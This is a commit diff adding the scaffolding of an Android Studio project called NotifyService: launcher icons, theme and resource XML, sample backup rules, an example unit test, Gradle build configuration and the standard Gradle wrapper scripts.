app/src/main/res/mipmap-hdpi/ic_launcher.png
Normal file
After Width: | Height: | Size: 2.4 KiB |
BIN
app/src/main/res/mipmap-hdpi/ic_launcher_foreground.png
Normal file
After Width: | Height: | Size: 3.4 KiB |
BIN
app/src/main/res/mipmap-hdpi/ic_launcher_round.png
Normal file
After Width: | Height: | Size: 4.4 KiB |
BIN
app/src/main/res/mipmap-mdpi/ic_launcher.png
Normal file
After Width: | Height: | Size: 1.8 KiB |
BIN
app/src/main/res/mipmap-mdpi/ic_launcher_foreground.png
Normal file
After Width: | Height: | Size: 2.2 KiB |
BIN
app/src/main/res/mipmap-mdpi/ic_launcher_round.png
Normal file
After Width: | Height: | Size: 2.8 KiB |
BIN
app/src/main/res/mipmap-xhdpi/ic_launcher.png
Normal file
After Width: | Height: | Size: 3.4 KiB |
BIN
app/src/main/res/mipmap-xhdpi/ic_launcher_foreground.png
Normal file
After Width: | Height: | Size: 4.7 KiB |
BIN
app/src/main/res/mipmap-xhdpi/ic_launcher_round.png
Normal file
After Width: | Height: | Size: 6.2 KiB |
BIN
app/src/main/res/mipmap-xxhdpi/ic_launcher.png
Normal file
After Width: | Height: | Size: 5.2 KiB |
BIN
app/src/main/res/mipmap-xxhdpi/ic_launcher_foreground.png
Normal file
After Width: | Height: | Size: 7.5 KiB |
BIN
app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png
Normal file
After Width: | Height: | Size: 9.7 KiB |
BIN
app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
Normal file
After Width: | Height: | Size: 7.2 KiB |
BIN
app/src/main/res/mipmap-xxxhdpi/ic_launcher_foreground.png
Normal file
After Width: | Height: | Size: 11 KiB |
BIN
app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png
Normal file
After Width: | Height: | Size: 14 KiB |
7
app/src/main/res/values-night/themes.xml
Normal file
|
@ -0,0 +1,7 @@
|
||||||
|
<resources xmlns:tools="http://schemas.android.com/tools">
|
||||||
|
<!-- Base application theme. -->
|
||||||
|
<style name="Base.Theme.NotifyService" parent="Theme.Material3.DayNight.NoActionBar">
|
||||||
|
<!-- Customize your dark theme here. -->
|
||||||
|
<!-- <item name="colorPrimary">@color/my_dark_primary</item> -->
|
||||||
|
</style>
|
||||||
|
</resources>
|
5
app/src/main/res/values/colors.xml
Normal file
|
@ -0,0 +1,5 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<resources>
|
||||||
|
<color name="black">#FF000000</color>
|
||||||
|
<color name="white">#FFFFFFFF</color>
|
||||||
|
</resources>
|
4
app/src/main/res/values/ic_launcher_background.xml
Normal file
|
@ -0,0 +1,4 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<resources>
|
||||||
|
<color name="ic_launcher_background">#FFFFFF</color>
|
||||||
|
</resources>
|
3
app/src/main/res/values/strings.xml
Normal file
|
@ -0,0 +1,3 @@
|
||||||
|
<resources>
|
||||||
|
<string name="app_name">NotifyService</string>
|
||||||
|
</resources>
|
9
app/src/main/res/values/themes.xml
Normal file
|
@ -0,0 +1,9 @@
|
||||||
|
<resources xmlns:tools="http://schemas.android.com/tools">
|
||||||
|
<!-- Base application theme. -->
|
||||||
|
<style name="Base.Theme.NotifyService" parent="Theme.Material3.DayNight.NoActionBar">
|
||||||
|
<!-- Customize your light theme here. -->
|
||||||
|
<!-- <item name="colorPrimary">@color/my_light_primary</item> -->
|
||||||
|
</style>
|
||||||
|
|
||||||
|
<style name="Theme.NotifyService" parent="Base.Theme.NotifyService" />
|
||||||
|
</resources>
|
13
app/src/main/res/xml/backup_rules.xml
Normal file
|
@ -0,0 +1,13 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?><!--
|
||||||
|
Sample backup rules file; uncomment and customize as necessary.
|
||||||
|
See https://developer.android.com/guide/topics/data/autobackup
|
||||||
|
for details.
|
||||||
|
Note: This file is ignored for devices older that API 31
|
||||||
|
See https://developer.android.com/about/versions/12/backup-restore
|
||||||
|
-->
|
||||||
|
<full-backup-content>
|
||||||
|
<!--
|
||||||
|
<include domain="sharedpref" path="."/>
|
||||||
|
<exclude domain="sharedpref" path="device.xml"/>
|
||||||
|
-->
|
||||||
|
</full-backup-content>
|
19
app/src/main/res/xml/data_extraction_rules.xml
Normal file
|
@ -0,0 +1,19 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?><!--
|
||||||
|
Sample data extraction rules file; uncomment and customize as necessary.
|
||||||
|
See https://developer.android.com/about/versions/12/backup-restore#xml-changes
|
||||||
|
for details.
|
||||||
|
-->
|
||||||
|
<data-extraction-rules>
|
||||||
|
<cloud-backup>
|
||||||
|
<!-- TODO: Use <include> and <exclude> to control what is backed up.
|
||||||
|
<include .../>
|
||||||
|
<exclude .../>
|
||||||
|
-->
|
||||||
|
</cloud-backup>
|
||||||
|
<!--
|
||||||
|
<device-transfer>
|
||||||
|
<include .../>
|
||||||
|
<exclude .../>
|
||||||
|
</device-transfer>
|
||||||
|
-->
|
||||||
|
</data-extraction-rules>
|
|
@ -0,0 +1,17 @@
|
||||||
|
package com.example.notifyservice;
|
||||||
|
|
||||||
|
import org.junit.Test;
|
||||||
|
|
||||||
|
import static org.junit.Assert.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Example local unit test, which will execute on the development machine (host).
|
||||||
|
*
|
||||||
|
* @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
|
||||||
|
*/
|
||||||
|
public class ExampleUnitTest {
|
||||||
|
@Test
|
||||||
|
public void addition_isCorrect() {
|
||||||
|
assertEquals(4, 2 + 2);
|
||||||
|
}
|
||||||
|
}
|
4
build.gradle.kts
Normal file
|
@ -0,0 +1,4 @@
|
||||||
|
// Top-level build file where you can add configuration options common to all sub-projects/modules.
|
||||||
|
plugins {
|
||||||
|
alias(libs.plugins.android.application) apply false
|
||||||
|
}
|
21
gradle.properties
Normal file
|
@ -0,0 +1,21 @@
|
||||||
|
# Project-wide Gradle settings.
|
||||||
|
# IDE (e.g. Android Studio) users:
|
||||||
|
# Gradle settings configured through the IDE *will override*
|
||||||
|
# any settings specified in this file.
|
||||||
|
# For more details on how to configure your build environment visit
|
||||||
|
# http://www.gradle.org/docs/current/userguide/build_environment.html
|
||||||
|
# Specifies the JVM arguments used for the daemon process.
|
||||||
|
# The setting is particularly useful for tweaking memory settings.
|
||||||
|
org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
|
||||||
|
# When configured, Gradle will run in incubating parallel mode.
|
||||||
|
# This option should only be used with decoupled projects. For more details, visit
|
||||||
|
# https://developer.android.com/r/tools/gradle-multi-project-decoupled-projects
|
||||||
|
# org.gradle.parallel=true
|
||||||
|
# AndroidX package structure to make it clearer which packages are bundled with the
|
||||||
|
# Android operating system, and which are packaged with your app's APK
|
||||||
|
# https://developer.android.com/topic/libraries/support-library/androidx-rn
|
||||||
|
android.useAndroidX=true
|
||||||
|
# Enables namespacing of each library's R class so that its R class includes only the
|
||||||
|
# resources declared in the library itself and none from the library's dependencies,
|
||||||
|
# thereby reducing the size of the R class for that library
|
||||||
|
android.nonTransitiveRClass=true
|
24
gradle/libs.versions.toml
Normal file
|
@ -0,0 +1,24 @@
|
||||||
|
[versions]
|
||||||
|
agp = "8.6.0"
|
||||||
|
#junit = "4.13.2"
|
||||||
|
#junitVersion = "1.2.1"
|
||||||
|
#espressoCore = "3.6.1"
|
||||||
|
#appcompat = "1.7.0"
|
||||||
|
#material = "1.12.0"
|
||||||
|
#activity = "1.9.3"
|
||||||
|
#constraintlayout = "2.2.0"
|
||||||
|
okhttp = "4.12.0"
|
||||||
|
|
||||||
|
[libraries]
|
||||||
|
#junit = { group = "junit", name = "junit", version.ref = "junit" }
|
||||||
|
#-junit = { group = "androidx.test.ext", name = "junit", version.ref = "junitVersion" }
|
||||||
|
#espresso-core = { group = "androidx.test.espresso", name = "espresso-core", version.ref = "espressoCore" }
|
||||||
|
#appcompat = { group = "androidx.appcompat", name = "appcompat", version.ref = "appcompat" }
|
||||||
|
#material = { group = "com.google.android.material", name = "material", version.ref = "material" }
|
||||||
|
#activity = { group = "androidx.activity", name = "activity", version.ref = "activity" }
|
||||||
|
#constraintlayout = { group = "androidx.constraintlayout", name = "constraintlayout", version.ref = "constraintlayout" }
|
||||||
|
okhttp = { module = "com.squareup.okhttp3:okhttp", version.ref = "okhttp" }
|
||||||
|
|
||||||
|
[plugins]
|
||||||
|
android-application = { id = "com.android.application", version.ref = "agp" }
|
||||||
|
|
BIN
gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
6
gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
|
@ -0,0 +1,6 @@
|
||||||
|
#Mon Jan 20 17:23:45 MSK 2025
|
||||||
|
distributionBase=GRADLE_USER_HOME
|
||||||
|
distributionPath=wrapper/dists
|
||||||
|
distributionUrl=https\://services.gradle.org/distributions/gradle-8.7-bin.zip
|
||||||
|
zipStoreBase=GRADLE_USER_HOME
|
||||||
|
zipStorePath=wrapper/dists
|
185
gradlew
vendored
Normal file
|
@ -0,0 +1,185 @@
|
||||||
|
#!/usr/bin/env sh
|
||||||
|
|
||||||
|
#
|
||||||
|
# Copyright 2015 the original author or authors.
|
||||||
|
#
|
||||||
|
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
# you may not use this file except in compliance with the License.
|
||||||
|
# You may obtain a copy of the License at
|
||||||
|
#
|
||||||
|
# https://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
#
|
||||||
|
# Unless required by applicable law or agreed to in writing, software
|
||||||
|
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
# See the License for the specific language governing permissions and
|
||||||
|
# limitations under the License.
|
||||||
|
#
|
||||||
|
|
||||||
|
##############################################################################
|
||||||
|
##
|
||||||
|
## Gradle start up script for UN*X
|
||||||
|
##
|
||||||
|
##############################################################################
|
||||||
|
|
||||||
|
# Attempt to set APP_HOME
|
||||||
|
# Resolve links: $0 may be a link
|
||||||
|
PRG="$0"
|
||||||
|
# Need this for relative symlinks.
|
||||||
|
while [ -h "$PRG" ] ; do
|
||||||
|
ls=`ls -ld "$PRG"`
|
||||||
|
link=`expr "$ls" : '.*-> \(.*\)$'`
|
||||||
|
if expr "$link" : '/.*' > /dev/null; then
|
||||||
|
PRG="$link"
|
||||||
|
else
|
||||||
|
PRG=`dirname "$PRG"`"/$link"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
SAVED="`pwd`"
|
||||||
|
cd "`dirname \"$PRG\"`/" >/dev/null
|
||||||
|
APP_HOME="`pwd -P`"
|
||||||
|
cd "$SAVED" >/dev/null
|
||||||
|
|
||||||
|
APP_NAME="Gradle"
|
||||||
|
APP_BASE_NAME=`basename "$0"`
|
||||||
|
|
||||||
|
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||||
|
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
|
||||||
|
|
||||||
|
# Use the maximum available, or set MAX_FD != -1 to use that value.
|
||||||
|
MAX_FD="maximum"
|
||||||
|
|
||||||
|
warn () {
|
||||||
|
echo "$*"
|
||||||
|
}
|
||||||
|
|
||||||
|
die () {
|
||||||
|
echo
|
||||||
|
echo "$*"
|
||||||
|
echo
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
# OS specific support (must be 'true' or 'false').
|
||||||
|
cygwin=false
|
||||||
|
msys=false
|
||||||
|
darwin=false
|
||||||
|
nonstop=false
|
||||||
|
case "`uname`" in
|
||||||
|
CYGWIN* )
|
||||||
|
cygwin=true
|
||||||
|
;;
|
||||||
|
Darwin* )
|
||||||
|
darwin=true
|
||||||
|
;;
|
||||||
|
MINGW* )
|
||||||
|
msys=true
|
||||||
|
;;
|
||||||
|
NONSTOP* )
|
||||||
|
nonstop=true
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
|
||||||
|
|
||||||
|
|
||||||
|
# Determine the Java command to use to start the JVM.
|
||||||
|
if [ -n "$JAVA_HOME" ] ; then
|
||||||
|
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
|
||||||
|
# IBM's JDK on AIX uses strange locations for the executables
|
||||||
|
JAVACMD="$JAVA_HOME/jre/sh/java"
|
||||||
|
else
|
||||||
|
JAVACMD="$JAVA_HOME/bin/java"
|
||||||
|
fi
|
||||||
|
if [ ! -x "$JAVACMD" ] ; then
|
||||||
|
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
|
||||||
|
|
||||||
|
Please set the JAVA_HOME variable in your environment to match the
|
||||||
|
location of your Java installation."
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
JAVACMD="java"
|
||||||
|
which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||||
|
|
||||||
|
Please set the JAVA_HOME variable in your environment to match the
|
||||||
|
location of your Java installation."
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Increase the maximum file descriptors if we can.
|
||||||
|
if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
|
||||||
|
MAX_FD_LIMIT=`ulimit -H -n`
|
||||||
|
if [ $? -eq 0 ] ; then
|
||||||
|
if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
|
||||||
|
MAX_FD="$MAX_FD_LIMIT"
|
||||||
|
fi
|
||||||
|
ulimit -n $MAX_FD
|
||||||
|
if [ $? -ne 0 ] ; then
|
||||||
|
warn "Could not set maximum file descriptor limit: $MAX_FD"
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# For Darwin, add options to specify how the application appears in the dock
|
||||||
|
if $darwin; then
|
||||||
|
GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
|
||||||
|
fi
|
||||||
|
|
||||||
|
# For Cygwin or MSYS, switch paths to Windows format before running java
|
||||||
|
if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then
|
||||||
|
APP_HOME=`cygpath --path --mixed "$APP_HOME"`
|
||||||
|
CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
|
||||||
|
|
||||||
|
JAVACMD=`cygpath --unix "$JAVACMD"`
|
||||||
|
|
||||||
|
# We build the pattern for arguments to be converted via cygpath
|
||||||
|
ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
|
||||||
|
SEP=""
|
||||||
|
for dir in $ROOTDIRSRAW ; do
|
||||||
|
ROOTDIRS="$ROOTDIRS$SEP$dir"
|
||||||
|
SEP="|"
|
||||||
|
done
|
||||||
|
OURCYGPATTERN="(^($ROOTDIRS))"
|
||||||
|
# Add a user-defined pattern to the cygpath arguments
|
||||||
|
if [ "$GRADLE_CYGPATTERN" != "" ] ; then
|
||||||
|
OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
|
||||||
|
fi
|
||||||
|
# Now convert the arguments - kludge to limit ourselves to /bin/sh
|
||||||
|
i=0
|
||||||
|
for arg in "$@" ; do
|
||||||
|
CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
|
||||||
|
CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
|
||||||
|
|
||||||
|
if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
|
||||||
|
eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
|
||||||
|
else
|
||||||
|
eval `echo args$i`="\"$arg\""
|
||||||
|
fi
|
||||||
|
i=`expr $i + 1`
|
||||||
|
done
|
||||||
|
case $i in
|
||||||
|
0) set -- ;;
|
||||||
|
1) set -- "$args0" ;;
|
||||||
|
2) set -- "$args0" "$args1" ;;
|
||||||
|
3) set -- "$args0" "$args1" "$args2" ;;
|
||||||
|
4) set -- "$args0" "$args1" "$args2" "$args3" ;;
|
||||||
|
5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
|
||||||
|
6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
|
||||||
|
7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
|
||||||
|
8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
|
||||||
|
9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
|
||||||
|
esac
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Escape application args
|
||||||
|
save () {
|
||||||
|
for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
|
||||||
|
echo " "
|
||||||
|
}
|
||||||
|
APP_ARGS=`save "$@"`
|
||||||
|
|
||||||
|
# Collect all arguments for the java command, following the shell quoting and substitution rules
|
||||||
|
eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
|
||||||
|
|
||||||
|
exec "$JAVACMD" "$@"
|
89
gradlew.bat
vendored
Normal file
|
@ -0,0 +1,89 @@
|
||||||
|
@rem
|
||||||
|
@rem Copyright 2015 the original author or authors.
|
||||||
|
@rem
|
||||||
|
@rem Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
@rem you may not use this file except in compliance with the License.
|
||||||
|
@rem You may obtain a copy of the License at
|
||||||
|
@rem
|
||||||
|
@rem https://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
@rem
|
||||||
|
@rem Unless required by applicable law or agreed to in writing, software
|
||||||
|
@rem distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
@rem See the License for the specific language governing permissions and
|
||||||
|
@rem limitations under the License.
|
||||||
|
@rem
|
||||||
|
|
||||||
|
@if "%DEBUG%" == "" @echo off
|
||||||
|
@rem ##########################################################################
|
||||||
|
@rem
|
||||||
|
@rem Gradle startup script for Windows
|
||||||
|
@rem
|
||||||
|
@rem ##########################################################################
|
||||||
|
|
||||||
|
@rem Set local scope for the variables with windows NT shell
|
||||||
|
if "%OS%"=="Windows_NT" setlocal
|
||||||
|
|
||||||
|
set DIRNAME=%~dp0
|
||||||
|
if "%DIRNAME%" == "" set DIRNAME=.
|
||||||
|
set APP_BASE_NAME=%~n0
|
||||||
|
set APP_HOME=%DIRNAME%
|
||||||
|
|
||||||
|
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
|
||||||
|
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
|
||||||
|
|
||||||
|
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||||
|
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
|
||||||
|
|
||||||
|
@rem Find java.exe
|
||||||
|
if defined JAVA_HOME goto findJavaFromJavaHome
|
||||||
|
|
||||||
|
set JAVA_EXE=java.exe
|
||||||
|
%JAVA_EXE% -version >NUL 2>&1
|
||||||
|
if "%ERRORLEVEL%" == "0" goto execute
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||||
|
echo.
|
||||||
|
echo Please set the JAVA_HOME variable in your environment to match the
|
||||||
|
echo location of your Java installation.
|
||||||
|
|
||||||
|
goto fail
|
||||||
|
|
||||||
|
:findJavaFromJavaHome
|
||||||
|
set JAVA_HOME=%JAVA_HOME:"=%
|
||||||
|
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
|
||||||
|
|
||||||
|
if exist "%JAVA_EXE%" goto execute
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
|
||||||
|
echo.
|
||||||
|
echo Please set the JAVA_HOME variable in your environment to match the
|
||||||
|
echo location of your Java installation.
|
||||||
|
|
||||||
|
goto fail
|
||||||
|
|
||||||
|
:execute
|
||||||
|
@rem Setup the command line
|
||||||
|
|
||||||
|
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
|
||||||
|
|
||||||
|
|
||||||
|
@rem Execute Gradle
|
||||||
|
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
|
||||||
|
|
||||||
|
:end
|
||||||
|
@rem End local scope for the variables with windows NT shell
|
||||||
|
if "%ERRORLEVEL%"=="0" goto mainEnd
|
||||||
|
|
||||||
|
:fail
|
||||||
|
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
|
||||||
|
rem the _cmd.exe /c_ return code!
|
||||||
|
if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
|
||||||
|
exit /b 1
|
||||||
|
|
||||||
|
:mainEnd
|
||||||
|
if "%OS%"=="Windows_NT" endlocal
|
||||||
|
|
||||||
|
:omega
|
10
local.properties
Normal file
|
@ -0,0 +1,10 @@
|
||||||
|
## This file is automatically generated by Android Studio.
|
||||||
|
# Do not modify this file -- YOUR CHANGES WILL BE ERASED!
|
||||||
|
#
|
||||||
|
# This file should *NOT* be checked into Version Control Systems,
|
||||||
|
# as it contains information specific to your local configuration.
|
||||||
|
#
|
||||||
|
# Location of the SDK. This is only used by Gradle.
|
||||||
|
# For customization when using a Version Control System, please read the
|
||||||
|
# header note.
|
||||||
|
sdk.dir=C\:\\Users\\0x1\\AppData\\Local\\Android\\Sdk
|
24
settings.gradle.kts
Normal file
|
@ -0,0 +1,24 @@
|
||||||
|
pluginManagement {
|
||||||
|
repositories {
|
||||||
|
google {
|
||||||
|
content {
|
||||||
|
includeGroupByRegex("com\\.android.*")
|
||||||
|
includeGroupByRegex("com\\.google.*")
|
||||||
|
includeGroupByRegex("androidx.*")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
mavenCentral()
|
||||||
|
gradlePluginPortal()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
dependencyResolutionManagement {
|
||||||
|
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
|
||||||
|
repositories {
|
||||||
|
google()
|
||||||
|
mavenCentral()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
rootProject.name = "NotifyService"
|
||||||
|
include(":app")
|
||||||
|
|